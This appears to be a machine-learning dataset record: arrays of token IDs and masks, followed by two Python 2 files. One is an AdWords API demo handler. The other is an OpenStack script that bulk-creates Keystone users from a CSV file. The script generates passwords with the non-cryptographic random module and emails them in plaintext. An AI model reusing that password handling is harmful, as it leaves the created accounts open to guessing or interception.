[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dietrichc/streamline-ppc-reports
examples/adwords/adwords_appengine_demo/handlers/api_handler.py
4
8958
#!/usr/bin/python # # Copyright 2014 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Handler to make calls against the AdWords API.""" __author__ = 'Mark Saniscalchi' import time from demo import VERSION from googleads.adwords import AdWordsClient from googleads.errors import GoogleAdsError from googleads.oauth2 import GoogleRefreshTokenClient class APIHandler(object): """Handler for the AdWords API using the Ads Python Client Libraries.""" # The user-agent sent in requests from this demo. _USER_AGENT = 'AppEngine Googleads Demo v%s' % VERSION def __init__(self, client_id, client_secret, refresh_token, mcc_cid, dev_token): """Initializes an APIHandler. Args: client_id: The client customer id retrieved from the Developers Console. client_secret: The client secret retrieved from the Developers Console. refresh_token: The refresh token retrieved with generate_refresh_token.py. mcc_cid: The AdWords MCC Account Client Customer Id. dev_token: The AdWords Developer Token. """ credentials = GoogleRefreshTokenClient(client_id, client_secret, refresh_token) self.client = AdWordsClient(dev_token, credentials, self._USER_AGENT, mcc_cid) def AddAdGroup(self, client_customer_id, campaign_id, name, status): """Create a new ad group. Args: client_customer_id: str Client Customer Id used to create the AdGroup. campaign_id: str Id of the campaign to use. name: str Name to assign to the AdGroup. status: str Status to assign to the AdGroup when it is created. """ self.client.SetClientCustomerId(client_customer_id) ad_group_service = self.client.GetService('AdGroupService') operations = [{ 'operator': 'ADD', 'operand': { 'campaignId': campaign_id, 'name': name, 'status': status } }] ad_group_service.mutate(operations) def AddBudget(self, client_customer_id, micro_amount): """Create a new Budget with the given microAmount. Args: client_customer_id: str Client Customer Id used to create Budget. micro_amount: str The budget represented in micros. Returns: str BudgetId of the newly created Budget. """ self.client.SetClientCustomerId(client_customer_id) budget_service = self.client.GetService('BudgetService') operations = [{ 'operator': 'ADD', 'operand': { 'name': 'Budget #%s' % time.time(), 'period': 'DAILY', 'amount': { 'microAmount': micro_amount }, 'deliveryMethod': 'STANDARD' } }] return budget_service.mutate(operations)['value'][0]['budgetId'] def AddCampaign(self, client_customer_id, campaign_name, ad_channel_type, budget): """Add a Campaign to the client account. Args: client_customer_id: str Client Customer Id to use when creating Campaign. campaign_name: str Name of the campaign to be added. ad_channel_type: str Primary serving target the campaign's ads. budget: str a budget amount (in micros) to use. """ self.client.SetClientCustomerId(client_customer_id) campaign_service = self.client.GetService('CampaignService') budget_id = self.AddBudget(client_customer_id, budget) operations = [{ 'operator': 'ADD', 'operand': { 'name': campaign_name, 'status': 'PAUSED', 'biddingStrategyConfiguration': { 'biddingStrategyType': 'MANUAL_CPC', 'biddingScheme': { 'xsi_type': 'ManualCpcBiddingScheme', 'enhancedCpcEnabled': 'false' } }, 'budget': { 'budgetId': budget_id }, 'advertisingChannelType': ad_channel_type } }] campaign_service.mutate(operations) def GetAccounts(self): """Return the client accounts associated with the user's MCC account. Returns: list List of ManagedCustomer data objects. """ selector = { 'fields': ['CustomerId', 'CanManageClients'] } accounts = self.client.GetService('ManagedCustomerService').get(selector) return accounts['entries'] def GetAdGroups(self, client_customer_id, campaign_id): """Retrieves all AdGroups for the given campaign that haven't been removed. Args: client_customer_id: str Client Customer Id being used in API request. campaign_id: str id of the campaign for which to fetch ad groups. Returns: list List of AdGroup data objects. """ self.client.SetClientCustomerId(client_customer_id) selector = { 'fields': ['Id', 'Name', 'Status'], 'predicates': [ { 'field': 'CampaignId', 'operator': 'EQUALS', 'values': [campaign_id] }, { 'field': 'Status', 'operator': 'NOT_EQUALS', 'values': ['REMOVED'] } ] } adgroups = self.client.GetService('AdGroupService').get(selector) if int(adgroups['totalNumEntries']) > 0: return adgroups['entries'] else: return None def GetBudget(self, client_customer_id, budget_id): """Return a Budget with the associated budgetId. Args: client_customer_id: str Client Customer Id to which the budget belongs. budget_id: str id of the budget we want to examine. Returns: Budget A Budget data object. """ self.client.SetClientCustomerId(client_customer_id) selector = { 'fields': ['BudgetId', 'BudgetName', 'BudgetStatus', 'Amount', 'DeliveryMethod', 'BudgetReferenceCount', 'IsBudgetExplicitlyShared'], 'predicates': [ { 'field': 'BudgetId', 'operator': 'EQUALS', 'values': [budget_id] } ] } budgets = self.client.GetService('BudgetService').get(selector) if int(budgets['totalNumEntries']) > 0: return budgets['entries'][0] else: return None def GetCampaigns(self, client_customer_id): """Returns a client account's Campaigns that haven't been removed. Args: client_customer_id: str Client Customer Id used to retrieve Campaigns. Returns: list List of Campaign data objects. """ self.client.SetClientCustomerId(client_customer_id) # A somewhat hackish workaround for "The read operation timed out" error, # which could be triggered on AppEngine's end if the request is too large # and is taking too long. max_tries = 3 today = time.strftime('%Y%m%d', time.localtime()) for i in xrange(1, max_tries + 1): try: selector = { 'fields': ['Id', 'Name', 'Status', 'BudgetId', 'Amount'], 'predicates': [ { 'field': 'Status', 'operator': 'NOT_EQUALS', 'values': ['REMOVED'] } ], 'dateRange': { 'min': today, 'max': today } } campaigns = self.client.GetService('CampaignService').get(selector) if int(campaigns['totalNumEntries']) > 0: return campaigns['entries'] else: return None except Exception, e: if i == max_tries: raise GoogleAdsError(e) continue def UpdateBudget(self, client_customer_id, budget_id, micro_amount, delivery_method): """Update a Budget with the given budgetId. Args: client_customer_id: str Client Customer Id used to update Budget. budget_id: str Id of the budget to be updated. micro_amount: str New value for the microAmount field. delivery_method: str New value for the deliveryMethod field. """ self.client.SetClientCustomerId(client_customer_id) operations = [{ 'operator': 'SET', 'operand': { 'budgetId': budget_id, 'amount': { 'microAmount': micro_amount }, 'deliveryMethod': delivery_method } }] self.client.GetService('BudgetService').mutate(operations)
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 1898, 6927, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 2461, 370, 1852, 4882, 6169, 314, 4431, 23759, 3261, 1041, 199, 199, 363, 2502, 363, 275, 283, 6470, 428, 7199, 915, 13175, 7, 199, 199, 646, 900, 421, 199, 504, 14779, 492, 15945, 199, 504, 6233, 9402, 14, 350, 3148, 492, 4431, 23759, 3041, 199, 504, 6233, 9402, 14, 2550, 492, 4475, 33, 795, 547, 199, 504, 6233, 9402, 14, 6126, 18, 492, 4475, 18730, 3264, 3041, 421, 199, 533, 3261, 2461, 8, 785, 304, 523, 408, 2461, 367, 314, 4431, 23759, 3261, 1808, 314, 437, 795, 2018, 6810, 31454, 1041, 819, 327, 710, 922, 13, 4054, 4847, 315, 4145, 687, 642, 14779, 14, 523, 485, 3791, 63, 14565, 275, 283, 2640, 8524, 4475, 9402, 28939, 373, 5, 83, 7, 450, 15945, 819, 347, 636, 826, 721, 277, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 9236, 63, 1418, 12, 333, 2055, 63, 7504, 12, 2049, 4866, 63, 1418, 304, 272, 408, 23489, 376, 3261, 2461, 14, 339, 3033, 26, 489, 1890, 63, 344, 26, 710, 1890, 15229, 1305, 12396, 687, 314, 23493, 19809, 14, 489, 1890, 63, 4731, 26, 710, 1890, 7565, 12396, 687, 314, 23493, 19809, 14, 489, 9236, 63, 1418, 26, 710, 9236, 1526, 12396, 543, 3550, 63, 6635, 63, 1418, 14, 647, 14, 489, 333, 2055, 63, 7504, 26, 710, 4431, 23759, 603, 2571, 9973, 6810, 22397, 15418, 14, 489, 4866, 63, 1418, 26, 710, 4431, 23759, 9607, 8767, 14, 272, 408, 272, 6235, 275, 4475, 18730, 3264, 3041, 8, 1258, 63, 344, 12, 1890, 63, 4731, 12, 5644, 9236, 63, 1418, 9, 272, 291, 14, 1258, 275, 4431, 23759, 3041, 8, 2374, 63, 1418, 12, 6235, 12, 291, 423, 3791, 63, 14565, 12, 1816, 333, 2055, 63, 7504, 9, 819, 347, 2654, 2767, 2448, 8, 277, 12, 1890, 63, 10178, 63, 344, 12, 22166, 63, 344, 12, 536, 12, 2004, 304, 272, 408, 2499, 282, 892, 1503, 1572, 14, 339, 3033, 26, 489, 1890, 63, 10178, 63, 344, 26, 620, 6810, 22397, 15418, 1202, 370, 1218, 314, 4431, 2448, 14, 489, 22166, 63, 344, 26, 620, 15418, 402, 314, 22166, 370, 675, 14, 489, 536, 26, 620, 2812, 370, 5090, 370, 314, 4431, 2448, 14, 489, 2004, 26, 620, 9795, 370, 5090, 370, 314, 4431, 2448, 1380, 652, 365, 2737, 14, 272, 408, 272, 291, 14, 1258, 14, 1084, 3041, 17025, 1304, 8, 1258, 63, 10178, 63, 344, 9, 339, 1503, 63, 923, 63, 1364, 275, 291, 14, 1258, 14, 1002, 3167, 360, 2767, 2448, 3167, 358, 272, 5331, 275, 8910, 267, 283, 3856, 356, 283, 9732, 297, 267, 283, 20315, 356, 469, 288, 283, 17368, 1304, 356, 22166, 63, 344, 12, 288, 283, 354, 356, 536, 12, 288, 283, 1205, 356, 2004, 267, 789, 272, 14877, 272, 1503, 63, 923, 63, 1364, 14, 6552, 323, 8, 8170, 9, 819, 347, 2654, 34, 1181, 362, 8, 277, 12, 1890, 63, 10178, 63, 344, 12, 9967, 63, 4606, 304, 272, 408, 2499, 282, 892, 699, 1181, 362, 543, 314, 1627, 9967, 18785, 14, 339, 3033, 26, 489, 1890, 63, 10178, 63, 344, 26, 620, 6810, 22397, 15418, 1202, 370, 1218, 699, 1181, 362, 14, 489, 9967, 63, 4606, 26, 620, 710, 1032, 14080, 11159, 315, 9967, 83, 14, 339, 1803, 26, 489, 620, 699, 1181, 362, 1304, 402, 314, 13903, 2737, 699, 1181, 362, 14, 272, 408, 272, 291, 14, 1258, 14, 1084, 3041, 17025, 1304, 8, 1258, 63, 10178, 63, 344, 9, 339, 1032, 14080, 63, 1364, 275, 291, 14, 1258, 14, 1002, 3167, 360, 34, 1181, 362, 3167, 358, 339, 5331, 275, 8910, 267, 283, 3856, 356, 283, 9732, 297, 267, 283, 20315, 356, 469, 288, 283, 354, 356, 283, 34, 1181, 362, 24307, 83, 7, 450, 900, 14, 521, 1062, 288, 283, 5191, 356, 283, 36, 6593, 57, 297, 288, 283, 4606, 356, 469, 355, 283, 6453, 18785, 356, 9967, 63, 4606, 288, 1660, 288, 283, 14564, 3767, 356, 283, 19547, 7, 267, 789, 272, 14877, 339, 372, 1032, 14080, 63, 1364, 14, 6552, 323, 8, 8170, 11820, 585, 3488, 16, 2733, 16501, 1304, 418, 819, 347, 2654, 3630, 11721, 8, 277, 12, 1890, 63, 10178, 63, 344, 12, 22166, 63, 354, 12, 1503, 63, 2775, 63, 466, 12, 2116, 1032, 14080, 304, 272, 408, 1123, 282, 24569, 65, 1030, 370, 314, 1890, 2933, 14, 339, 3033, 26, 489, 1890, 63, 10178, 63, 344, 26, 620, 6810, 22397, 15418, 370, 675, 1380, 6425, 24569, 65, 1030, 14, 489, 22166, 63, 354, 26, 620, 2812, 402, 314, 22166, 370, 506, 3483, 14, 489, 1503, 63, 2775, 63, 466, 26, 620, 26710, 22701, 1347, 314, 22166, 1159, 282, 795, 14, 489, 1032, 14080, 26, 620, 282, 1032, 14080, 5982, 334, 262, 9967, 83, 9, 370, 675, 14, 272, 408, 272, 291, 14, 1258, 14, 1084, 3041, 17025, 1304, 8, 1258, 63, 10178, 63, 344, 9, 272, 22166, 63, 1364, 275, 291, 14, 1258, 14, 1002, 3167, 360, 3630, 11721, 3167, 358, 272, 1032, 14080, 63, 344, 275, 291, 14, 1123, 34, 1181, 362, 8, 1258, 63, 10178, 63, 344, 12, 1032, 14080, 9, 339, 5331, 275, 8910, 267, 283, 3856, 356, 283, 9732, 297, 267, 283, 20315, 356, 469, 288, 283, 354, 356, 22166, 63, 354, 12, 288, 283, 1205, 356, 283, 8470, 8558, 297, 288 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 1898, 6927, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 2461, 370, 1852, 4882, 6169, 314, 4431, 23759, 3261, 1041, 199, 199, 363, 2502, 363, 275, 283, 6470, 428, 7199, 915, 13175, 7, 199, 199, 646, 900, 421, 199, 504, 14779, 492, 15945, 199, 504, 6233, 9402, 14, 350, 3148, 492, 4431, 23759, 3041, 199, 504, 6233, 9402, 14, 2550, 492, 4475, 33, 795, 547, 199, 504, 6233, 9402, 14, 6126, 18, 492, 4475, 18730, 3264, 3041, 421, 199, 533, 3261, 2461, 8, 785, 304, 523, 408, 2461, 367, 314, 4431, 23759, 3261, 1808, 314, 437, 795, 2018, 6810, 31454, 1041, 819, 327, 710, 922, 13, 4054, 4847, 315, 4145, 687, 642, 14779, 14, 523, 485, 3791, 63, 14565, 275, 283, 2640, 8524, 4475, 9402, 28939, 373, 5, 83, 7, 450, 15945, 819, 347, 636, 826, 721, 277, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 9236, 63, 1418, 12, 333, 2055, 63, 7504, 12, 2049, 4866, 63, 1418, 304, 272, 408, 23489, 376, 3261, 2461, 14, 339, 3033, 26, 489, 1890, 63, 344, 26, 710, 1890, 15229, 1305, 12396, 687, 314, 23493, 19809, 14, 489, 1890, 63, 4731, 26, 710, 1890, 7565, 12396, 687, 314, 23493, 19809, 14, 489, 9236, 63, 1418, 26, 710, 9236, 1526, 12396, 543, 3550, 63, 6635, 63, 1418, 14, 647, 14, 489, 333, 2055, 63, 7504, 26, 710, 4431, 23759, 603, 2571, 9973, 6810, 22397, 15418, 14, 489, 4866, 63, 1418, 26, 710, 4431, 23759, 9607, 8767, 14, 272, 408, 272, 6235, 275, 4475, 18730, 3264, 3041, 8, 1258, 63, 344, 12, 1890, 63, 4731, 12, 5644, 9236, 63, 1418, 9, 272, 291, 14, 1258, 275, 4431, 23759, 3041, 8, 2374, 63, 1418, 12, 6235, 12, 291, 423, 3791, 63, 14565, 12, 1816, 333, 2055, 63, 7504, 9, 819, 347, 2654, 2767, 2448, 8, 277, 12, 1890, 63, 10178, 63, 344, 12, 22166, 63, 344, 12, 536, 12, 2004, 304, 272, 408, 2499, 282, 892, 1503, 1572, 14, 339, 3033, 26, 489, 1890, 63, 10178, 63, 344, 26, 620, 6810, 22397, 15418, 1202, 370, 1218, 314, 4431, 2448, 14, 489, 22166, 63, 344, 26, 620, 15418, 402, 314, 22166, 370, 675, 14, 489, 536, 26, 620, 2812, 370, 5090, 370, 314, 4431, 2448, 14, 489, 2004, 26, 620, 9795, 370, 5090, 370, 314, 4431, 2448, 1380, 652, 365, 2737, 14, 272, 408, 272, 291, 14, 1258, 14, 1084, 3041, 17025, 1304, 8, 1258, 63, 10178, 63, 344, 9, 339, 1503, 63, 923, 63, 1364, 275, 291, 14, 1258, 14, 1002, 3167, 360, 2767, 2448, 3167, 358, 272, 5331, 275, 8910, 267, 283, 3856, 356, 283, 9732, 297, 267, 283, 20315, 356, 469, 288, 283, 17368, 1304, 356, 22166, 63, 344, 12, 288, 283, 354, 356, 536, 12, 288, 283, 1205, 356, 2004, 267, 789, 272, 14877, 272, 1503, 63, 923, 63, 1364, 14, 6552, 323, 8, 8170, 9, 819, 347, 2654, 34, 1181, 362, 8, 277, 12, 1890, 63, 10178, 63, 344, 12, 9967, 63, 4606, 304, 272, 408, 2499, 282, 892, 699, 1181, 362, 543, 314, 1627, 9967, 18785, 14, 339, 3033, 26, 489, 1890, 63, 10178, 63, 344, 26, 620, 6810, 22397, 15418, 1202, 370, 1218, 699, 1181, 362, 14, 489, 9967, 63, 4606, 26, 620, 710, 1032, 14080, 11159, 315, 9967, 83, 14, 339, 1803, 26, 489, 620, 699, 1181, 362, 1304, 402, 314, 13903, 2737, 699, 1181, 362, 14, 272, 408, 272, 291, 14, 1258, 14, 1084, 3041, 17025, 1304, 8, 1258, 63, 10178, 63, 344, 9, 339, 1032, 14080, 63, 1364, 275, 291, 14, 1258, 14, 1002, 3167, 360, 34, 1181, 362, 3167, 358, 339, 5331, 275, 8910, 267, 283, 3856, 356, 283, 9732, 297, 267, 283, 20315, 356, 469, 288, 283, 354, 356, 283, 34, 1181, 362, 24307, 83, 7, 450, 900, 14, 521, 1062, 288, 283, 5191, 356, 283, 36, 6593, 57, 297, 288, 283, 4606, 356, 469, 355, 283, 6453, 18785, 356, 9967, 63, 4606, 288, 1660, 288, 283, 14564, 3767, 356, 283, 19547, 7, 267, 789, 272, 14877, 339, 372, 1032, 14080, 63, 1364, 14, 6552, 323, 8, 8170, 11820, 585, 3488, 16, 2733, 16501, 1304, 418, 819, 347, 2654, 3630, 11721, 8, 277, 12, 1890, 63, 10178, 63, 344, 12, 22166, 63, 354, 12, 1503, 63, 2775, 63, 466, 12, 2116, 1032, 14080, 304, 272, 408, 1123, 282, 24569, 65, 1030, 370, 314, 1890, 2933, 14, 339, 3033, 26, 489, 1890, 63, 10178, 63, 344, 26, 620, 6810, 22397, 15418, 370, 675, 1380, 6425, 24569, 65, 1030, 14, 489, 22166, 63, 354, 26, 620, 2812, 402, 314, 22166, 370, 506, 3483, 14, 489, 1503, 63, 2775, 63, 466, 26, 620, 26710, 22701, 1347, 314, 22166, 1159, 282, 795, 14, 489, 1032, 14080, 26, 620, 282, 1032, 14080, 5982, 334, 262, 9967, 83, 9, 370, 675, 14, 272, 408, 272, 291, 14, 1258, 14, 1084, 3041, 17025, 1304, 8, 1258, 63, 10178, 63, 344, 9, 272, 22166, 63, 1364, 275, 291, 14, 1258, 14, 1002, 3167, 360, 3630, 11721, 3167, 358, 272, 1032, 14080, 63, 344, 275, 291, 14, 1123, 34, 1181, 362, 8, 1258, 63, 10178, 63, 344, 12, 1032, 14080, 9, 339, 5331, 275, 8910, 267, 283, 3856, 356, 283, 9732, 297, 267, 283, 20315, 356, 469, 288, 283, 354, 356, 22166, 63, 354, 12, 288, 283, 1205, 356, 283, 8470, 8558, 297, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kumulustech/openstack_for_web_apps
openstack-load-users-from-csv.py
2
7413
#!/usr/bin/python # # Copyright 2012 Cisco Systems, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # import argparse from email.mime.text import MIMEText import csv import ConfigParser import os import random import smtplib import string import sys import keystoneclient.v2_0.client DESCRIPTION = """Creates OpenStack users and tenants based on a CSV file. If run on the same host as Keystone, the admin token will automatically be grabbed from /etc/keystone/keystone.conf (if you have access to this file). If run on a different host, you can pass credentials for Keystone by setting and exporting the SERVICE_TOKEN and SERVICE_ENDPOINT environment variables or by setting and exporting the OS_TENANT_NAME, OS_USERNAME, OS_PASSWORD, and OS_AUTH_URL environment variables. The CSV file format is as follows: firstname,lastname,username,email Fields are separated by comma. Use double quotes (") to quote values that contain a comma.""" NO_CREDS_FOUND = "No credentials for Keystone provided and none could be found" KEYSTONE_CONFIG = '/etc/keystone/keystone.conf' def check_env_for_keystone_creds(env=os.environ): if 'SERVICE_TOKEN' in env and 'SERVICE_ENDPOINT' in env: return True if ('OS_TENANT_NAME' in env and 'OS_USERNAME' in env and 'OS_PASSWORD' in env and 'OS_AUTH_URL' in env): return {'username': env['OS_USERNAME'], 'tenant_name': env['OS_TENANT_NAME'], 'password': env['OS_PASSWORD'], 'auth_url': env['OS_AUTH_URL']} if ('SERVICE_TOKEN' in env and 'SERVICE_ENDPOINT' in env): return {'endpoint': env['SERVICE_ENDPOINT'], 'token': env['SERVICE_TOKEN']} if os.path.exists(KEYSTONE_CONFIG): config = ConfigParser.SafeConfigParser() config.read(KEYSTONE_CONFIG) # ConfigParser won't let you look things up directly in the # DEFAULT section. Instead we choose a random section and # rely on the DEFAULT section feeding defaults into that. some_section = config.sections()[0] if config.has_option(some_section, 'admin_token'): return {'endpoint': 'http://localhost:35357/v2.0/', 'token': config.get(some_section, 'admin_token')} return False def generate_password(length): chars = string.letters + string.digits return ''.join([random.choice(chars) for x in range(length)]) def get_role_by_name(client, name): for role in client.roles.list(): if role.name == name: return role return None users = {} tenants = {} def pull_users_from_keystone(client): global users for user in client.users.list(): users[user.name] = user def pull_tenants_from_keystone(client): global tenants for tenant in client.tenants.list(): tenants[tenant.name] = tenant def main(argv=sys.argv[1:]): global users global tenants raw_formatter = argparse.RawDescriptionHelpFormatter argparser = argparse.ArgumentParser(description=DESCRIPTION, formatter_class=raw_formatter) argparser.add_argument('horizon_url', help="Base URL for Horizon") argparser.add_argument('support_address', help="E-mail address for support") argparser.add_argument('csv_file', help="Name of the CSV file") argparser.add_argument('mail_template', help="Name of the e-mail template") argparser.add_argument('--role', default="Member", help="role to assign to users [default: Member]") argparser.add_argument('--smtp_host', default="localhost", help="SMTP host [default: localhost]") argparser.add_argument('--common_tenant', metavar="TENANT", default=None, help="If set, all users will be added to TENANT. " "The default is to create a tenant per user.") args = argparser.parse_args(argv) creds = check_env_for_keystone_creds() if not creds: argparser.error(NO_CREDS_FOUND) client = keystoneclient.v2_0.client.Client(**creds) try: client.tenants.list() except keystoneclient.exceptions.AuthorizationFailure: argparser.error("Failed to autenticate with Keystone") role = get_role_by_name(client, args.role) if not role: role = client.roles.create(args.role) pull_users_from_keystone(client) pull_tenants_from_keystone(client) data = csv.reader(open(args.csv_file, 'rb'), delimiter=',', quotechar='"') for first_name, last_name, user_name, email in data: if args.common_tenant: tenant_name = args.common_tenant tenant_description = 'Shared Tenant' else: tenant_name = user_name tenant_description = "%s %s" % (first_name, last_name) if tenant_name in tenants: tenant = tenants[user_name] if not args.common_tenant: print("Tenant named %s already exists. " "Not creating." % user_name) else: tenant = client.tenants.create(tenant_name, description=tenant_description) tenants[tenant_name] = tenant password = generate_password(8) if user_name in users: user = users[user_name] print("User named %s already exists. " "Only updating password." % user_name) client.users.update_password(user, password) else: user = client.users.create(name=user_name, password=password, email=email, tenant_id=tenant.id) roles = user.list_roles(tenant) if role in roles: print("User %s already has the %s role on tenant %s. " "Not adding." % (user_name, args.role, user_name)) else: tenant.add_user(user, role) with open(args.mail_template, 'r') as fp: mail = fp.read() mail = mail.replace('%FIRST_NAME%', first_name) mail = mail.replace('%LAST_NAME%', last_name) mail = mail.replace('%USER_NAME%', user_name) mail = mail.replace('%EMAIL%', email) mail = mail.replace('%PASSWORD%', password) mail = mail.replace('%HORIZON_FQDN%', args.horizon_url) mail = mail.replace('%SUPPORT_ADDRESS%', args.support_address) msg = MIMEText(mail) msg['Subject'] = 'Welcome to OpenStack' msg['From'] = args.support_address msg['To'] = email msg.as_string() s = smtplib.SMTP(args.smtp_host) s.sendmail(args.support_address, [email], msg.as_string()) s.quit() if __name__ == '__main__': sys.exit(not main())
apache-2.0
